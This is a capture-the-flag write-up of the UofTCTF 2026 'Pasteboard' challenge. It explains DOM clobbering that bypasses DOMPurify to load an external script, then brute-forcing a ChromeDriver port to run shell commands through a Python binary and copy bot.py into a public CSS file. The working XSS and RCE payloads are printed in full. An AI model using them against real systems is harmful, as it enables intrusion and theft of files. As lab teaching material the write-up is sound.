UofTCTF 2026 - Pasteboard

This challenge was a joint solve between NumberOreo and I.

TLDR: This was a simple note taking app, where the aim was to get remote code execution via the admin bot.

When adding a new note to our account, the body parameter was vulnerable to html injection:

POST /note/new HTTP/1.1
...

title=test1&body=<h1>aa</h1>

We could then send the id of our note to the admin for him to review it.

Our original idea was to simply steal the admin’s cookie using an xss, however after consulting the code, we realised that we would need to RCE, as the flag was never actually included in the request sent by the admin:

BASE_URL = "http://127.0.0.1:5000"
FLAG = "uoftctf{fake_flag}"

def visit_url(target_url):
    options = Options()
    options.add_argument("--headless=true")
    options.add_argument("--disable-gpu")
    options.add_argument("--no-sandbox")
    driver = webdriver.Chrome(options=options)
    try:
        driver.get(target_url)
        time.sleep(30)
    finally:
        driver.quit()

Our first problem however was that the html injection was being sanitized by the latest version of DOMPurify.

This here is the weird code created to sanitize our notes:

(function () {
  const n = document.getElementById("rawMsg");
  const raw = n ? n.textContent : "";
  const card = document.getElementById("card");

  try {
    const cfg = window.renderConfig || { mode: (card && card.dataset.mode) || "safe" };
    const mode = cfg.mode.toLowerCase();
    const clean = DOMPurify.sanitize(raw, { ALLOW_DATA_ATTR: false });
    if (card) {
      card.innerHTML = clean;
    }
    if (mode !== "safe") {
      console.log("Render mode:", mode);
    }
  } catch (err) {
    window.lastRenderError = err ? String(err) : "unknown";
    handleError();
  }

  function handleError() {
    const el = document.getElementById("errorReporterScript");
    if (el && el.src) {
      return;
    }

    const c = window.errorReporter || { path: "/telemetry/error-reporter.js" };
    const p = c.path && c.path.value
      ? c.path.value
      : String(c.path || "/telemetry/error-reporter.js");
    const s = document.createElement("script");
    s.id = "errorReporterScript";
    let src = p;
    try {
      src = new URL(p).href;
    } catch (err) {
      src = p.startsWith("/") ? p : "/telemetry/" + p;
    }
    s.src = src;

    if (el) {
      el.replaceWith(s);
    } else {
      document.head.appendChild(s);
    }
  }
})();

What instantly sticks out here are the variables that are being defined within the window object (window.renderConfig, window.errorReporter …).

These variables are vulnerable to DOM clobbering, so we will be able to use them to bypass the DOMPurify sanitization.

We need to do 2 things to trigger the XSS:

  1. Force an Error: We need the code to enter the catch block so handleError() is executed
  2. Hijack the reporter: Get handleError to load our malicious script instead of the default one.

The first vulnerable point is

const mode = cfg.mode.toLowerCase();

If we inject an HTML element with id=“renderConfig”, window.renderConfig becomes that element. HTML elements do not have a .mode property, so cfg.mode is undefined. Calling .toLowerCase() on undefined throws an error, forcing execution into handleError().

For the second part, these two lines are vulnerable:

const c = window.errorReporter || ...
const p = c.path && c.path.value ? ...

If we inject , window.errorReporter becomes the form.

If we put inside it, window.errorReporter.path becomes the input element.

So this is our final payload:

<a id="renderConfig"></a>

<form id="errorReporter">
  <input name="path" value="https://lucashanson.fr/malicious.js">
</form>

There was also a very strict CSP, however because the trusted snippet created this script, the ‘strict-dynamic’ allows it to run.

Now that we have a stored xss, we need to get our RCE. The admin bot is running selenium with a chrome webdriver.

By default, the webdriver exposes an instrumentation tool, which by default listens on a random port in the range defined by /proc/sys/net/ipv4/ip_local_port_range (32768-60999). (Thanks jorian)

We simply need to bruteforce the port to find the exposed tool, and then spawn a new session with custom binary and args options that result in RCE:

  const options = {
    mode: "no-cors",
    method: "POST",
    body: JSON.stringify({
      capabilities: {
        alwaysMatch: {
          "goog:chromeOptions": {
            binary: "/usr/local/bin/python",
            args: ["-c", "__import__('os').system('id > /tmp/pwned')"],
          },
        },
      },
    }),
  };

  for (let port = 32768; port < 61000; port++) {
    fetch(`http://127.0.0.1:${port}/session`, options);
  }

We had a bit of trouble with this payload, as we could see it working locally, however remotely we couldn’t find a way to exilftrate the command output.

My teammate NumberOreo came up with an ingenious solution, which was to simply replace the app’s css file with the command output, as we knew we could access this file directly from the browser.

(() => {
  const options = {
    mode: "no-cors",
    method: "POST",
    body: JSON.stringify({
      capabilities: {
        alwaysMatch: {
          "goog:chromeOptions": {
            binary: "/usr/local/bin/python",
            args: ["-c", "__import__('os').system('cat /app/bot.py > /app/static/style.css 2>&1')"],
          },
        },
      },
    }),
  };

  for (let port = 32768; port < 61000; port++) {
    fetch(`http://127.0.0.1:${port}/session`, options);
  }
})();

We simply needed to browse to our css file to get the flag:

curl http://127.0.0.1:5000/static/style.css


uoftctf{n0_c00k135_n0_pr0bl3m_1m40_122c3466655003ca64d689e3ee0e786d}